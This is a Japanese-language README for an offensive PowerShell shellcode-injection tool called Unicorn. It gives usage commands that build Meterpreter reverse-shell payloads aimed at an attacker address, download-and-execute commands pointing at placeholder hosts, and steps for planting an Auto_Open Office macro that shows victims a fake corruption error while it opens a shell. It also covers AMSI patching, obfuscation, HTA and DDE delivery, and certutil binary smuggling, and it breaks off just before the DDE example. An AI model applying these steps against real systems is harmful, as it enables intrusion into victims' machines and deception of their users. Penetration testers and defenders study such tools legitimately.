
Unicornは、PowerShellダウングレード攻撃を使用し、シェルコードをメモリに直接注入するためのシンプルなツールです。Matthew GraeberのPowerShell攻撃と、David Kennedy (TrustedSec) および Josh Kelly がDefcon 18で発表したPowerShellバイパス技術に基づいています。
作成者: Dave Kennedy (@HackingDave) ウェブサイト: https://www.trustedsec.com
Magic Unicorn は、PowerShell ダウングレード攻撃を使用してシェルコードをメモリに直接注入するためのシンプルなツールです。Matthew Graeber の PowerShell 攻撃と、Defcon 18 で David Kennedy (TrustedSec) および Josh Kelly によって発表された PowerShell バイパス手法に基づいています。
使い方は簡単です。Magic Unicorn を実行するだけです(Metasploit の手法を使用する場合は Metasploit がインストールされ、正しいパスにあることを確認してください)。Magic Unicorn は自動的に PowerShell コマンドを生成するので、その PowerShell コードをコマンドラインウィンドウまたはペイロード配信システム経由でコピー&ペーストするだけで済みます。Unicorn は独自のシェルコード、Cobalt Strike、および Metasploit をサポートしています。
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Unicorn は PowerShell の子コマンドを 1 つ出力するようになりました。--amsi inline を指定すると、AMSI パッチとシェルコードローダーが同じ子プロセス内で実行されます。--amsi off を指定すると、Unicorn は AMSI ステージを省略します。
8191 文字のコマンドコンテキストには --profile cmd を使用します。32767 文字のコンテキストには --profile powershell を使用します。Unicorn は選択された制限を超える出力を拒否します。
子 PowerShell のアーキテクチャを選択するには --arch x86 または --arch x64 を使用します。そのアーキテクチャに一致するシェルコードを指定してください。デフォルトは x86 です。
--obfuscation minimal|moderate|high を使用して、範囲が限定され意味を保持するバリアントを選択します。マニフェストには使用された正確な変換が記録されます。
生成されたバリアントを再現するには --seed <value> を使用します。各実行では、シード、アーキテクチャ、AMSI モード、コマンド長、API、およびソースシェルコードの SHA-256 を含む unicorn_manifest.json が書き出されます。
ローダーバリアントは memset によるバイトコピーループまたは Marshal.Copy のいずれかを使用し、選択された API はマニフェストに記録されます。
シェルコード攻撃の場合、マニフェストには選択された難読化プロファイルとその変換も記録されます。
すべては powershell_attack.txt、Metasploit を使用する場合は unicorn.rc、そして unicorn_manifest.json に生成されるようになりました。テキストファイルには、PowerShell 攻撃をメモリに注入するために必要なコードが含まれています。リモートコマンド実行をサポートする場所が必要です。8191 文字のコマンドコンテキストには --profile cmd を使用します。この攻撃は windows/download_exec もサポートしています。ダウンロードおよび実行を使用する場合は、python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe を実行します。
攻撃をキャプチャするには、リスナーを有効にしておく必要があることに注意してください。
マクロ攻撃の場合、File、Properties、Ribbons に移動し、Developer を選択する必要があります。そうすると、開発者タブが表示されます。新しいマクロを作成し、Auto_Open という名前を付けて、生成されたコードをそこに貼り付けます。これにより自動的に実行されます。ユーザーにはファイルが破損しているというメッセージが表示され、Excel ドキュメントが自動的に閉じられることに注意してください。これは正常な動作です!これは、被害者に Excel ドキュメントが破損していると思い込ませるためのトリックです。その後、PowerShell インジェクションを通じてシェルを取得できるはずです。
これを Office365/2016 以降のバージョンの Word に対して展開する場合は、出力の最初の行を次のように変更する必要があります: Sub Auto_Open()
から: Sub AutoOpen()
マクロ自体の名前も、従来の「Auto_Open」という命名方式ではなく「AutoOpen」でなければなりません。
注意: Excel をコピー&ペーストする際、余分なスペースが追加された場合は、変数「x」の下にある各 PowerShell コードセクションの後にこれらを削除する必要があります。そうしないと構文エラーが発生します!
HTA 攻撃は 2 つのファイルを自動的に生成します。1 つ目は index.html で、ブラウザに Launcher.hta を使用するよう指示します。Launcher.hta には悪意のある PowerShell インジェクションコードが含まれています。すべてのファイルは hta_access/ フォルダにエクスポートされ、3 つの主要なファイルがあります。1 つ目は index.html、2 つ目は Launcher.hta、最後は unicorn.rc ファイルです。msfconsole -r unicorn.rc を実行して、Metasploit のリスナーを起動できます。
HTA 攻撃を使用する際、PowerShell インジェクションが正しく機能するためには、ユーザーが許可をクリックして承諾する必要があります。
certutil 攻撃ベクターは Matthew Graeber (@mattifestation) によって特定されたもので、バイナリファイルを base64 形式に変換し、被害者マシン上で certutil を使ってバイナリに戻すことができます。これは事実上あらゆるシステムで動作し、偽の証明書ファイルを通じて被害者マシンにバイナリを転送できるようにします。この攻撃を使用するには、実行ファイルを unicorn のパスに置き、python unicorn.py <exe_name> crt を実行して base64 出力を取得するだけです。完了したら、ファイルを含む decode_attack/ フォルダに移動します。bat ファイルは、Windows マシン上で実行してバイナリに戻すことができるコマンドです。
この攻撃手法では、任意の PowerShell ファイル (.ps1) をエンコードされたコマンドまたはマクロに変換できます。
マクロオプションを選択した場合、大きな ps1 ファイルは VBA で許容されるキャリッジリターンの数を超える可能性があることに注意してください。パラメータとして整数を渡すことで、各 VBA 文字列の文字数を変更できます。
例:
python unicorn.py harmless.ps1
python unicorn.py myfile.ps1 macro
python unicorn.py muahahaha.ps1 macro 500
最後の例では、デフォルトの 380 文字の代わりに 500 文字の文字列を使用するため、VBA のキャリッジリターンが少なくなります。
この攻撃ベクターは、Word または Excel に貼り付ける DDEAUTO 数式を生成します。COM オブジェクトの DDEInitilize と DDEExecute により、Office 内で直接数式を作成でき、マクロを必要とせずにリモートコード実行を可能にします。この攻撃は文書化されており、完全な手順は以下で確認できます:
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
この攻撃を使用するには、以下の例を実行します: